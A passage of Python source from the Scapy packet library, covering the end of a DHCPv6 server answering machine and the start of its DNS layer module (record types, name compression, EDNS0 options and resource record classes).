((DHCP6OptServerId not in p) or (DHCP6OptClientId not in p)): return False # provided server DUID must match ours duid = p[DHCP6OptServerId].duid if not isinstance(duid, type(self.duid)): return False if raw(duid) != raw(self.duid): return False if (p.msgtype == 5 or # Renew p.msgtype == 8): # Release # XXX We do not reply to Renew or Release as we # XXX do not support address assignment return False elif p.msgtype == 9: # Decline # XXX We should check if we are tracking that client if not self.debug: return False bo = Color.bold g = Color.green + bo b = Color.blue + bo n = Color.normal r = Color.red vendor = in6_addrtovendor(src) if (vendor and vendor != "UNKNOWN"): vendor = " [" + b + vendor + n + "]" else: vendor = "" src = bo + src + n it = p addrs = [] while it: lst = [] if isinstance(it, DHCP6OptIA_NA): lst = it.ianaopts elif isinstance(it, DHCP6OptIA_TA): lst = it.iataopts addrs += [x.addr for x in lst if isinstance(x, DHCP6OptIAAddress)] # noqa: E501 it = it.payload addrs = [bo + x + n for x in addrs] if self.debug: msg = r + "[DEBUG]" + n + " Received " + g + "Decline" + n msg += " from " + bo + src + vendor + " for " msg += ", ".join(addrs) + n print(msg) # See RFC 3315 sect 18.1.7 # Sent by a client to warn us she has determined # one or more addresses assigned to her is already # used on the link. # We should simply log that fact. No messaged should # be sent in return. # - Message must include a Server identifier option # - the content of the Server identifier option must # match the server's identifier # - the message must include a Client Identifier option return False elif p.msgtype == 11: # Information-Request if DHCP6OptServerId in p: duid = p[DHCP6OptServerId].duid if not isinstance(duid, type(self.duid)): return False if raw(duid) != raw(self.duid): return False if ((DHCP6OptIA_NA in p) or (DHCP6OptIA_TA in p) or (DHCP6OptIA_PD in p)): return False else: return False return True def print_reply(self, req, reply): def norm(s): if s.startswith("DHCPv6 "): s = s[7:] if s.endswith(" Message"): s = s[:-8] return s if reply is None: return bo = Color.bold g = Color.green + bo b = Color.blue + bo n = Color.normal reqtype = g + norm(req.getlayer(UDP).payload.name) + n reqsrc = req.getlayer(IPv6).src vendor = in6_addrtovendor(reqsrc) if (vendor and vendor != "UNKNOWN"): vendor = " [" + b + vendor + n + "]" else: vendor = "" reqsrc = bo + reqsrc + n reptype = g + norm(reply.getlayer(UDP).payload.name) + n print("Sent %s answering to %s from %s%s" % (reptype, reqtype, reqsrc, vendor)) # noqa: E501 def make_reply(self, req): p = req[IPv6] req_src = p.src p = p.payload.payload msgtype = p.msgtype trid = p.trid def _include_options(query, answer): """ Include options from the DHCPv6 query """ # See which options should be included reqopts = [] if query.haslayer(DHCP6OptOptReq): # add only asked ones reqopts = query[DHCP6OptOptReq].reqopts for o, opt in self.dhcpv6_options.items(): if o in reqopts: answer /= opt else: # advertise everything we have available # Should not happen has clients MUST include # and ORO in requests (sec 18.1.1) -- arno for o, opt in self.dhcpv6_options.items(): answer /= opt if msgtype == 1: # SOLICIT (See Sect 17.1 and 17.2 of RFC 3315) # XXX We don't support address or prefix assignment # XXX We also do not support relay function --arno client_duid = p[DHCP6OptClientId].duid resp = IPv6(src=self.src_addr, dst=req_src) resp /= UDP(sport=547, dport=546) if p.haslayer(DHCP6OptRapidCommit): # construct a Reply packet resp /= DHCP6_Reply(trid=trid) resp /= DHCP6OptRapidCommit() # See 17.1.2 resp /= DHCP6OptServerId(duid=self.duid) resp /= DHCP6OptClientId(duid=client_duid) else: # No Rapid Commit in the packet. Reply with an Advertise if (p.haslayer(DHCP6OptIA_NA) or p.haslayer(DHCP6OptIA_TA)): # XXX We don't assign addresses at the moment msg = "Scapy6 dhcp6d does not support address assignment" resp /= DHCP6_Advertise(trid=trid) resp /= DHCP6OptStatusCode(statuscode=2, statusmsg=msg) resp /= DHCP6OptServerId(duid=self.duid) resp /= DHCP6OptClientId(duid=client_duid) elif p.haslayer(DHCP6OptIA_PD): # XXX We don't assign prefixes at the moment msg = "Scapy6 dhcp6d does not support prefix assignment" resp /= DHCP6_Advertise(trid=trid) resp /= DHCP6OptStatusCode(statuscode=6, statusmsg=msg) resp /= DHCP6OptServerId(duid=self.duid) resp /= DHCP6OptClientId(duid=client_duid) else: # Usual case, no request for prefixes or addresse resp /= DHCP6_Advertise(trid=trid) resp /= DHCP6OptPref(prefval=self.advpref) resp /= DHCP6OptServerId(duid=self.duid) resp /= DHCP6OptClientId(duid=client_duid) resp /= DHCP6OptReconfAccept() _include_options(p, resp) return resp elif msgtype == 3: # REQUEST (INFO-REQUEST is further below) client_duid = p[DHCP6OptClientId].duid resp = IPv6(src=self.src_addr, dst=req_src) resp /= UDP(sport=547, dport=546) resp /= DHCP6_Reply(trid=trid) resp /= DHCP6OptServerId(duid=self.duid) resp /= DHCP6OptClientId(duid=client_duid) _include_options(p, resp) return resp elif msgtype == 4: # CONFIRM # see Sect 18.1.2 # Client want to check if addresses it was assigned # are still appropriate # Server must discard any Confirm messages that # do not include a Client Identifier option OR # THAT DO INCLUDE a Server Identifier Option # XXX we must discard the SOLICIT if it is received with # a unicast destination address pass elif msgtype == 5: # RENEW # see Sect 18.1.3 # Clients want to extend lifetime of assigned addresses # and update configuration parameters. This message is sent # specifically to the server that provided her the info # - Received message must include a Server Identifier # option. # - the content of server identifier option must match # the server's identifier. # - the message must include a Client identifier option pass elif msgtype == 6: # REBIND # see Sect 18.1.4 # Same purpose as the Renew message but sent to any # available server after he received no response # to its previous Renew message. # - Message must include a Client Identifier Option # - Message can't include a Server identifier option # XXX we must discard the SOLICIT if it is received with # a unicast destination address pass elif msgtype == 8: # RELEASE # See RFC 3315 section 18.1.6 # Message is sent to the server to indicate that # she will no longer use the addresses that was assigned # We should parse the message and verify our dictionary # to log that fact. # - The message must include a server identifier option # - The content of the Server Identifier option must # match the server's identifier # - the message must include a Client Identifier option pass elif msgtype == 9: # DECLINE # See RFC 3315 section 18.1.7 pass elif msgtype == 11: # INFO-REQUEST client_duid = None if not p.haslayer(DHCP6OptClientId): if self.debug: warning("Received Info Request message without Client Id option") # noqa: E501 else: client_duid = p[DHCP6OptClientId].duid resp = IPv6(src=self.src_addr, dst=req_src) resp /= UDP(sport=547, dport=546) resp /= DHCP6_Reply(trid=trid) resp /= DHCP6OptServerId(duid=self.duid) if client_duid: resp /= DHCP6OptClientId(duid=client_duid) # Stack requested options if available for o, opt in self.dhcpv6_options.items(): resp /= opt return resp else: # what else ? pass # - We won't support reemission # - We won't support relay role, nor relay forwarded messages # at the beginning ================================================ FILE: scapy/layers/dns.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ DNS: Domain Name System This implements: - RFC1035: Domain Names - RFC6762: Multicast DNS - RFC6763: DNS-Based Service Discovery """ import abc import collections import operator import itertools import socket import struct import time import warnings from scapy.arch import ( get_if_addr, get_if_addr6, read_nameservers, ) from scapy.ansmachine import AnsweringMachine from scapy.base_classes import Net, ScopedIP from scapy.config import conf from scapy.compat import raw, chb, bytes_encode, plain_str from scapy.error import log_runtime, warning, Scapy_Exception from scapy.packet import Packet, bind_layers, Raw from scapy.fields import ( BitEnumField, BitField, ByteEnumField, ByteField, ConditionalField, Field, FieldLenField, FieldListField, FlagsField, I, IP6Field, IntField, MACField, MultipleTypeField, PacketListField, ShortEnumField, ShortField, StrField, StrLenField, UTCTimeField, XStrFixedLenField, XStrLenField, ) from scapy.interfaces import resolve_iface from scapy.sendrecv import sr1, sr from scapy.supersocket import StreamSocket from scapy.plist import SndRcvList, _PacketList, QueryAnswer from scapy.pton_ntop import inet_ntop, inet_pton from scapy.utils import pretty_list from scapy.volatile import RandShort from scapy.layers.l2 import Ether from scapy.layers.inet import IP, DestIPField, IPField, UDP, TCP from scapy.layers.inet6 import IPv6 from typing import ( Any, List, Optional, Tuple, Type, Union, ) # https://www.iana.org/assignments/dns-parameters/dns-parameters.xhtml#dns-parameters-4 dnstypes = { 0: "RESERVED", 1: "A", 2: "NS", 3: "MD", 4: "MF", 5: "CNAME", 6: "SOA", 7: "MB", 8: "MG", 9: "MR", 10: "NULL", 11: "WKS", 12: "PTR", 13: "HINFO", 14: "MINFO", 15: "MX", 16: "TXT", 17: "RP", 18: "AFSDB", 19: "X25", 20: "ISDN", 21: "RT", 22: "NSAP", 23: "NSAP-PTR", 24: "SIG", 25: "KEY", 26: "PX", 27: "GPOS", 28: "AAAA", 29: "LOC", 30: "NXT", 31: "EID", 32: "NIMLOC", 33: "SRV", 34: "ATMA", 35: "NAPTR", 36: "KX", 37: "CERT", 38: "A6", 39: "DNAME", 40: "SINK", 41: "OPT", 42: "APL", 43: "DS", 44: "SSHFP", 45: "IPSECKEY", 46: "RRSIG", 47: "NSEC", 48: "DNSKEY", 49: "DHCID", 50: "NSEC3", 51: "NSEC3PARAM", 52: "TLSA", 53: "SMIMEA", 55: "HIP", 56: "NINFO", 57: "RKEY", 58: "TALINK", 59: "CDS", 60: "CDNSKEY", 61: "OPENPGPKEY", 62: "CSYNC", 63: "ZONEMD", 64: "SVCB", 65: "HTTPS", 99: "SPF", 100: "UINFO", 101: "UID", 102: "GID", 103: "UNSPEC", 104: "NID", 105: "L32", 106: "L64", 107: "LP", 108: "EUI48", 109: "EUI64", 249: "TKEY", 250: "TSIG", 256: "URI", 257: "CAA", 258: "AVC", 259: "DOA", 260: "AMTRELAY", 32768: "TA", 32769: "DLV", 65535: "RESERVED" } dnsqtypes = {251: "IXFR", 252: "AXFR", 253: "MAILB", 254: "MAILA", 255: "ALL"} dnsqtypes.update(dnstypes) dnsclasses = {1: 'IN', 2: 'CS', 3: 'CH', 4: 'HS', 255: 'ANY'} # 12/2023 from https://www.iana.org/assignments/dns-sec-alg-numbers/dns-sec-alg-numbers.xhtml # noqa: E501 dnssecalgotypes = {0: "Reserved", 1: "RSA/MD5", 2: "Diffie-Hellman", 3: "DSA/SHA-1", # noqa: E501 4: "Reserved", 5: "RSA/SHA-1", 6: "DSA-NSEC3-SHA1", 7: "RSASHA1-NSEC3-SHA1", 8: "RSA/SHA-256", 9: "Reserved", 10: "RSA/SHA-512", 11: "Reserved", 12: "GOST R 34.10-2001", 13: "ECDSA Curve P-256 with SHA-256", 14: "ECDSA Curve P-384 with SHA-384", # noqa: E501 15: "Ed25519", 16: "Ed448", 252: "Reserved for Indirect Keys", 253: "Private algorithms - domain name", # noqa: E501 254: "Private algorithms - OID", 255: "Reserved"} # 12/2023 from https://www.iana.org/assignments/ds-rr-types/ds-rr-types.xhtml dnssecdigesttypes = {0: "Reserved", 1: "SHA-1", 2: "SHA-256", 3: "GOST R 34.11-94", 4: "SHA-384"} # noqa: E501 # 12/2023 from https://www.iana.org/assignments/dnssec-nsec3-parameters/dnssec-nsec3-parameters.xhtml # noqa: E501 dnssecnsec3algotypes = {0: "Reserved", 1: "SHA-1"} def dns_get_str(s, full=None, _ignore_compression=False): """This function decompresses a string s, starting from the given pointer. :param s: the string to decompress :param full: (optional) the full packet (used for decompression) :returns: (decoded_string, end_index, left_string) """ # _ignore_compression is for internal use only max_length = len(s) # The result = the extracted name name = b"" # Will contain the index after the pointer, to be returned after_pointer = None processed_pointers = [] # Used to check for decompression loops bytes_left = None _fullpacket = False # s = full packet pointer = 0 while True: if abs(pointer) >= max_length: log_runtime.info( "DNS RR prematured end (ofs=%i, len=%i)", pointer, len(s) ) break cur = s[pointer] # get pointer value pointer += 1 # make pointer go forward if cur & 0xc0: # Label pointer if after_pointer is None: # after_pointer points to where the remaining bytes start, # as pointer will follow the jump token after_pointer = pointer + 1 if _ignore_compression: # skip pointer += 1 continue if pointer >= max_length: log_runtime.info( "DNS incomplete jump token at (ofs=%i)", pointer ) break if not full: raise Scapy_Exception("DNS message can't be compressed " + "at this point!") # Follow the pointer pointer = ((cur & ~0xc0) << 8) + s[pointer] if pointer in processed_pointers: warning("DNS decompression loop detected") break if len(processed_pointers) >= 20: warning("More than 20 jumps in a single DNS decompression ! " "Dropping (evil packet)") break if not _fullpacket: # We switch our s buffer to full, so we need to remember # the previous context bytes_left = s[after_pointer:] s = full max_length = len(s) _fullpacket = True processed_pointers.append(pointer) continue elif cur > 0: # Label # cur = length of the string name += s[pointer:pointer + cur] + b"." pointer += cur else: # End break if after_pointer is not None: # Return the real end index (not the one we followed) pointer = after_pointer if bytes_left is None: bytes_left = s[pointer:] # name, remaining return name or b".", bytes_left def _is_ptr(x): """ Heuristic to guess if bytes are an encoded DNS pointer. """ return ( (x and x[-1] == 0) or (len(x) >= 2 and (x[-2] & 0xc0) == 0xc0) ) def dns_encode(x, check_built=False): """Encodes a bytes string into the DNS format :param x: the string :param check_built: detect already-built strings and ignore them :returns: the encoded bytes string """ if not x or x == b".": return b"\x00" if check_built and _is_ptr(x): # The value has already been processed. Do not process it again return x # Truncate chunks that cannot be encoded (more than 63 bytes..) x = b"".join(chb(len(y)) + y for y in (k[:63] for k in x.split(b"."))) if x[-1:] != b"\x00": x += b"\x00" return x def DNSgetstr(*args, **kwargs): """Legacy function. Deprecated""" warnings.warn( "DNSgetstr is deprecated. Use dns_get_str instead.", DeprecationWarning ) return dns_get_str(*args, **kwargs)[:-1] def dns_compress(pkt): """This function compresses a DNS packet according to compression rules. """ if DNS not in pkt: raise Scapy_Exception("Can only compress DNS layers") pkt = pkt.copy() dns_pkt = pkt.getlayer(DNS) dns_pkt.clear_cache() build_pkt = raw(dns_pkt) def field_gen(dns_pkt): """Iterates through all DNS strings that can be compressed""" for lay in [dns_pkt.qd, dns_pkt.an, dns_pkt.ns, dns_pkt.ar]: if not lay: continue for current in lay: for field in current.fields_desc: if isinstance(field, DNSStrField) or \ (isinstance(field, MultipleTypeField) and current.type in [2, 3, 4, 5, 12, 15, 39, 47]): # Get the associated data and store it accordingly # noqa: E501 dat = current.getfieldval(field.name) yield current, field.name, dat def possible_shortens(dat): """Iterates through all possible compression parts in a DNS string""" if dat == b".": # we'd lose by compressing it return yield dat for x in range(1, dat.count(b".")): yield dat.split(b".", x)[x] data = {} for current, name, dat in field_gen(dns_pkt): for part in possible_shortens(dat): # Encode the data encoded = dns_encode(part, check_built=True) if part not in data: # We have no occurrence of such data, let's store it as a # possible pointer for future strings. # We get the index of the encoded data index = build_pkt.index(encoded) # The following is used to build correctly the pointer fb_index = ((index >> 8) | 0xc0) sb_index = index - (256 * (fb_index - 0xc0)) pointer = chb(fb_index) + chb(sb_index) data[part] = [(current, name, pointer, index + 1)] else: # This string already exists, let's mark the current field # with it, so that it gets compressed data[part].append((current, name)) _in = data[part][0][3] build_pkt = build_pkt[:_in] + build_pkt[_in:].replace( encoded, b"\0\0", 1 ) break # Apply compression rules for ck in data: # compression_key is a DNS string replacements = data[ck] # replacements is the list of all tuples (layer, field name) # where this string was found replace_pointer = replacements.pop(0)[2] # replace_pointer is the packed pointer that should replace # those strings. Note that pop remove it from the list for rep in replacements: # setfieldval edits the value of the field in the layer val = rep[0].getfieldval(rep[1]) assert val.endswith(ck) kept_string = dns_encode(val[:-len(ck)], check_built=True)[:-1] new_val = kept_string + replace_pointer rep[0].setfieldval(rep[1], new_val) try: del rep[0].rdlen except AttributeError: pass # End of the compression algorithm # Destroy the previous DNS layer if needed if not isinstance(pkt, DNS) and pkt.getlayer(DNS).underlayer: pkt.getlayer(DNS).underlayer.remove_payload() return pkt / dns_pkt return dns_pkt class DNSCompressedPacket(Packet): """ Class to mark that a packet contains DNSStrField and supports compression """ @abc.abstractmethod def get_full(self): pass class DNSStrField(StrLenField): """ Special StrField that handles DNS encoding/decoding. It will also handle DNS decompression. (may be StrLenField if a length_from is passed), """ def any2i(self, pkt, x): if x and isinstance(x, list): return [self.h2i(pkt, y) for y in x] return super(DNSStrField, self).any2i(pkt, x) def h2i(self, pkt, x): # Setting a DNSStrField manually (h2i) means any current compression will break if ( pkt and isinstance(pkt.parent, DNSCompressedPacket) and pkt.parent.raw_packet_cache ): pkt.parent.clear_cache() if not x: return b"." x = bytes_encode(x) if x[-1:] != b"." and not _is_ptr(x): return x + b"." return x def i2m(self, pkt, x): return dns_encode(x, check_built=True) def i2len(self, pkt, x): return len(self.i2m(pkt, x)) def get_full(self, pkt): while pkt and not isinstance(pkt, DNSCompressedPacket): pkt = pkt.parent or pkt.underlayer if not pkt: return None return pkt.get_full() def getfield(self, pkt, s): remain = b"" if self.length_from: remain, s = super(DNSStrField, self).getfield(pkt, s) # Decode the compressed DNS message decoded, left = dns_get_str(s, full=self.get_full(pkt)) # returns (remaining, decoded) return left + remain, decoded class DNSTextField(StrLenField): """ Special StrLenField that handles DNS TEXT data (16) """ islist = 1 def i2h(self, pkt, x): if not x: return [] return x def m2i(self, pkt, s): ret_s = list() tmp_s = s # RDATA contains a list of strings, each are prepended with # a byte containing the size of the following string. while tmp_s: tmp_len = tmp_s[0] + 1 if tmp_len > len(tmp_s): log_runtime.info( "DNS RR TXT prematured end of character-string " "(size=%i, remaining bytes=%i)", tmp_len, len(tmp_s) ) ret_s.append(tmp_s[1:tmp_len]) tmp_s = tmp_s[tmp_len:] return ret_s def any2i(self, pkt, x): if isinstance(x, (str, bytes)): return [x] return x def i2len(self, pkt, x): return len(self.i2m(pkt, x)) def i2m(self, pkt, s): ret_s = b"" for text in s: if not text: ret_s += b"\x00" continue text = bytes_encode(text) # The initial string must be split into a list of strings # prepended with theirs sizes. while len(text) >= 255: ret_s += b"\xff" + text[:255] text = text[255:] # The remaining string is less than 255 bytes long if len(text): ret_s += struct.pack("!B", len(text)) + text return ret_s # RFC 2671 - Extension Mechanisms for DNS (EDNS0) edns0types = {0: "Reserved", 1: "LLQ", 2: "UL", 3: "NSID", 4: "Owner", 5: "DAU", 6: "DHU", 7: "N3U", 8: "edns-client-subnet", 10: "COOKIE", 15: "Extended DNS Error"} class _EDNS0Dummy(Packet): name = "Dummy class that implements extract_padding()" def extract_padding(self, p): # type: (bytes) -> Tuple[bytes, Optional[bytes]] return "", p class EDNS0TLV(_EDNS0Dummy): name = "DNS EDNS0 TLV" fields_desc = [ShortEnumField("optcode", 0, edns0types), FieldLenField("optlen", None, "optdata", fmt="H"), StrLenField("optdata", "", length_from=lambda pkt: pkt.optlen)] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): # type: (Optional[bytes], *Any, **Any) -> Type[Packet] if _pkt is None: return EDNS0TLV if len(_pkt) < 2: return Raw edns0type = struct.unpack("!H", _pkt[:2])[0] return EDNS0OPT_DISPATCHER.get(edns0type, EDNS0TLV) class DNSRROPT(Packet): name = "DNS OPT Resource Record" fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 41, dnstypes), ShortEnumField("rclass", 4096, dnsclasses), ByteField("extrcode", 0), ByteField("version", 0), # version 0 means EDNS0 BitEnumField("z", 32768, 16, {32768: "D0"}), # D0 means DNSSEC OK from RFC 3225 FieldLenField("rdlen", None, length_of="rdata", fmt="H"), PacketListField("rdata", [], EDNS0TLV, length_from=lambda pkt: pkt.rdlen)] # draft-cheshire-edns0-owner-option-01 - EDNS0 OWNER Option class EDNS0OWN(_EDNS0Dummy): name = "EDNS0 Owner (OWN)" fields_desc = [ShortEnumField("optcode", 4, edns0types), FieldLenField("optlen", None, count_of="primary_mac", fmt="H"), ByteField("v", 0), ByteField("s", 0), MACField("primary_mac", "00:00:00:00:00:00"), ConditionalField( MACField("wakeup_mac", "00:00:00:00:00:00"), lambda pkt: (pkt.optlen or 0) >= 18), ConditionalField( StrLenField("password", "", length_from=lambda pkt: pkt.optlen - 18), lambda pkt: (pkt.optlen or 0) >= 22)] def post_build(self, pkt, pay): pkt += pay if self.optlen is None: pkt = pkt[:2] + struct.pack("!H", len(pkt) - 4) + pkt[4:] return pkt # RFC 6975 - Signaling Cryptographic Algorithm Understanding in # DNS Security Extensions (DNSSEC) class EDNS0DAU(_EDNS0Dummy): name = "DNSSEC Algorithm Understood (DAU)" fields_desc = [ShortEnumField("optcode", 5, edns0types), FieldLenField("optlen", None, count_of="alg_code", fmt="H"), FieldListField("alg_code", None, ByteEnumField("", 0, dnssecalgotypes), count_from=lambda pkt:pkt.optlen)] class EDNS0DHU(_EDNS0Dummy): name = "DS Hash Understood (DHU)" fields_desc = [ShortEnumField("optcode", 6, edns0types), FieldLenField("optlen", None, count_of="alg_code", fmt="H"), FieldListField("alg_code", None, ByteEnumField("", 0, dnssecdigesttypes), count_from=lambda pkt:pkt.optlen)] class EDNS0N3U(_EDNS0Dummy): name = "NSEC3 Hash Understood (N3U)" fields_desc = [ShortEnumField("optcode", 7, edns0types), FieldLenField("optlen", None, count_of="alg_code", fmt="H"), FieldListField("alg_code", None, ByteEnumField("", 0, dnssecnsec3algotypes), count_from=lambda pkt:pkt.optlen)] # RFC 7871 - Client Subnet in DNS Queries class ClientSubnetv4(StrLenField): af_familly = socket.AF_INET af_length = 32 af_default = b"\xc0" # 192.0.0.0 def getfield(self, pkt, s): # type: (Packet, bytes) -> Tuple[bytes, I] sz = operator.floordiv(self.length_from(pkt) + 7, 8) sz = min(sz, operator.floordiv(self.af_length, 8)) return s[sz:], self.m2i(pkt, s[:sz]) def m2i(self, pkt, x): # type: (Optional[Packet], bytes) -> str padding = self.af_length - self.length_from(pkt) if padding: x += b"\x00" * operator.floordiv(padding, 8) x = x[: operator.floordiv(self.af_length, 8)] return inet_ntop(self.af_familly, x) def _pack_subnet(self, subnet): # type: (bytes) -> bytes packed_subnet = inet_pton(self.af_familly, plain_str(subnet)) for i in list(range(operator.floordiv(self.af_length, 8)))[::-1]: if packed_subnet[i] != 0: i += 1 break return packed_subnet[:i] def i2m(self, pkt, x): # type: (Optional[Packet], Optional[Union[str, Net]]) -> bytes if x is None: return self.af_default try: return self._pack_subnet(x) except (OSError, socket.error): pkt.family = 2 return ClientSubnetv6("", "")._pack_subnet(x) def i2len(self, pkt, x): # type: (Packet, Any) -> int if x is None: return 1 try: return len(self._pack_subnet(x)) except (OSError, socket.error): pkt.family = 2 return len(ClientSubnetv6("", "")._pack_subnet(x)) class ClientSubnetv6(ClientSubnetv4): af_familly = socket.AF_INET6 af_length = 128 af_default = b"\x20" # 2000:: class EDNS0ClientSubnet(_EDNS0Dummy): name = "DNS EDNS0 Client Subnet" fields_desc = [ShortEnumField("optcode", 8, edns0types), FieldLenField("optlen", None, "address", fmt="H", adjust=lambda pkt, x: x + 4), ShortField("family", 1), FieldLenField("source_plen", None, length_of="address", fmt="B", adjust=lambda pkt, x: x * 8), ByteField("scope_plen", 0), MultipleTypeField( [(ClientSubnetv4("address", "192.168.0.0", length_from=lambda p: p.source_plen), lambda pkt: pkt.family == 1), (ClientSubnetv6("address", "2001:db8::", length_from=lambda p: p.source_plen), lambda pkt: pkt.family == 2)], ClientSubnetv4("address", "192.168.0.0", length_from=lambda p: p.source_plen))] class EDNS0COOKIE(_EDNS0Dummy): name = "DNS EDNS0 COOKIE" fields_desc = [ShortEnumField("optcode", 10, edns0types), FieldLenField("optlen", None, length_of="server_cookie", fmt="!H", adjust=lambda pkt, x: x + 8), XStrFixedLenField("client_cookie", b"\x00" * 8, length=8), XStrLenField("server_cookie", "", length_from=lambda pkt: max(0, pkt.optlen - 8))] # RFC 8914 - Extended DNS Errors # https://www.iana.org/assignments/dns-parameters/dns-parameters.xhtml#extended-dns-error-codes extended_dns_error_codes = { 0: "Other", 1: "Unsupported DNSKEY Algorithm", 2: "Unsupported DS Digest Type", 3: "Stale Answer", 4: "Forged Answer", 5: "DNSSEC Indeterminate", 6: "DNSSEC Bogus", 7: "Signature Expired", 8: "Signature Not Yet Valid", 9: "DNSKEY Missing", 10: "RRSIGs Missing", 11: "No Zone Key Bit Set", 12: "NSEC Missing", 13: "Cached Error", 14: "Not Ready", 15: "Blocked", 16: "Censored", 17: "Filtered", 18: "Prohibited", 19: "Stale NXDOMAIN Answer", 20: "Not Authoritative", 21: "Not Supported", 22: "No Reachable Authority", 23: "Network Error", 24: "Invalid Data", 25: "Signature Expired before Valid", 26: "Too Early", 27: "Unsupported NSEC3 Iterations Value", 28: "Unable to conform to policy", 29: "Synthesized", } # https://www.rfc-editor.org/rfc/rfc8914.html class EDNS0ExtendedDNSError(_EDNS0Dummy): name = "DNS EDNS0 Extended DNS Error" fields_desc = [ShortEnumField("optcode", 15, edns0types), FieldLenField("optlen", None, length_of="extra_text", fmt="!H", adjust=lambda pkt, x: x + 2), ShortEnumField("info_code", 0, extended_dns_error_codes), StrLenField("extra_text", "", length_from=lambda pkt: pkt.optlen - 2)] EDNS0OPT_DISPATCHER = { 4: EDNS0OWN, 5: EDNS0DAU, 6: EDNS0DHU, 7: EDNS0N3U, 8: EDNS0ClientSubnet, 10: EDNS0COOKIE, 15: EDNS0ExtendedDNSError, } # RFC 4034 - Resource Records for the DNS Security Extensions def bitmap2RRlist(bitmap): """ Decode the 'Type Bit Maps' field of the NSEC Resource Record into an integer list. """ # RFC 4034, 4.1.2. The Type Bit Maps Field RRlist = [] while bitmap: if len(bitmap) < 2: log_runtime.info("bitmap too short (%i)", len(bitmap)) return window_block = bitmap[0] # window number offset = 256 * window_block # offset of the Resource Record bitmap_len = bitmap[1] # length of the bitmap in bytes if bitmap_len <= 0 or bitmap_len > 32: log_runtime.info("bitmap length is no valid (%i)", bitmap_len) return tmp_bitmap = bitmap[2:2 + bitmap_len] # Let's compare each bit of tmp_bitmap and compute the real RR value for b in range(len(tmp_bitmap)): v = 128 for i in range(8): if tmp_bitmap[b] & v: # each of the RR is encoded as a bit RRlist += [offset + b * 8 + i] v = v >> 1 # Next block if any bitmap = bitmap[2 + bitmap_len:] return RRlist def RRlist2bitmap(lst): """ Encode a list of integers representing Resource Records to a bitmap field used in the NSEC Resource Record. """ # RFC 4034, 4.1.2. The Type Bit Maps Field import math bitmap = b"" lst = [abs(x) for x in sorted(set(lst)) if x <= 65535] # number of window blocks max_window_blocks = int(math.ceil(lst[-1] / 256.)) min_window_blocks = int(math.floor(lst[0] / 256.)) if min_window_blocks == max_window_blocks: max_window_blocks += 1 for wb in range(min_window_blocks, max_window_blocks + 1): # First, filter out RR not encoded in the current window block # i.e. keep everything between 256*wb <= 256*(wb+1) rrlist = sorted(x for x in lst if 256 * wb <= x < 256 * (wb + 1)) if not rrlist: continue # Compute the number of bytes used to store the bitmap if rrlist[-1] == 0: # only one element in the list bytes_count = 1 else: max = rrlist[-1] - 256 * wb bytes_count = int(math.ceil(max // 8)) + 1 # use at least 1 byte if bytes_count > 32: # Don't encode more than 256 bits / values bytes_count = 32 bitmap += struct.pack("BB", wb, bytes_count) # Generate the bitmap # The idea is to remove out of range Resource Records with these steps # 1. rescale to fit into 8 bits # 2. x gives the bit position ; compute the corresponding value # 3. sum everything bitmap += b"".join( struct.pack( b"B", sum(2 ** (7 - (x - 256 * wb) + (tmp * 8)) for x in rrlist if 256 * wb + 8 * tmp <= x < 256 * wb + 8 * tmp + 8), ) for tmp in range(bytes_count) ) return bitmap class RRlistField(StrField): islist = 1 def h2i(self, pkt, x): if x and isinstance(x, list): return RRlist2bitmap(x) return x def i2repr(self, pkt, x): if not x: return "[]" x = self.i2h(pkt, x) rrlist = bitmap2RRlist(x) return [dnstypes.get(rr, rr) for rr in rrlist] if rrlist else repr(x) class _DNSRRdummy(Packet): name = "Dummy class that implements post_build() for Resource Records" def post_build(self, pkt, pay): if self.rdlen is not None: return pkt + pay lrrname = len(self.fields_desc[0].i2m("", self.getfieldval("rrname"))) tmp_len = len(pkt) - lrrname - 10 tmp_pkt = pkt[:lrrname + 8] pkt = struct.pack("!H", tmp_len) + pkt[lrrname + 8 + 2:] return tmp_pkt + pkt + pay def default_payload_class(self, payload): return conf.padding_layer class DNSRRHINFO(_DNSRRdummy): name = "DNS HINFO Resource Record" fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 13, dnstypes), BitField("cacheflush", 0, 1), # mDNS RFC 6762 BitEnumField("rclass", 1, 15, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), FieldLenField("cpulen", None, fmt="!B", length_of="cpu"), StrLenField("cpu", "", length_from=lambda x: x.cpulen), FieldLenField("oslen", None, fmt="!B", length_of="os"), StrLenField("os", "", length_from=lambda x: x.oslen)] class DNSRRMX(_DNSRRdummy): name = "DNS MX Resource Record" fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 15, dnstypes), BitField("cacheflush", 0, 1), # mDNS RFC 6762 BitEnumField("rclass", 1, 15, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), ShortField("preference", 0), DNSStrField("exchange", ""), ] class DNSRRSOA(_DNSRRdummy): name = "DNS SOA Resource Record" fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 6, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), DNSStrField("mname", ""), DNSStrField("rname", ""), IntField("serial", 0), IntField("refresh", 0), IntField("retry", 0), IntField("expire", 0), IntField("minimum", 0) ] class DNSRRRSIG(_DNSRRdummy): name = "DNS RRSIG Resource Record" fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 46, dnstypes), BitField("cacheflush", 0, 1), # mDNS RFC 6762 BitEnumField("rclass", 1, 15, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), ShortEnumField("typecovered", 1, dnstypes), ByteEnumField("algorithm", 5, dnssecalgotypes), ByteField("labels", 0), IntField("originalttl", 0), UTCTimeField("expiration", 0), UTCTimeField("inception", 0), ShortField("keytag", 0), DNSStrField("signersname", ""), StrField("signature", "") ] class DNSRRNSEC(_DNSRRdummy): name = "DNS NSEC Resource Record" fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 47, dnstypes), BitField("cacheflush", 0, 1), # mDNS RFC 6762 BitEnumField("rclass", 1, 15, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), DNSStrField("nextname", ""), RRlistField("typebitmaps", []) ] class DNSRRDNSKEY(_DNSRRdummy): name = "DNS DNSKEY Resource Record" fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 48, dnstypes), BitField("cacheflush", 0, 1), 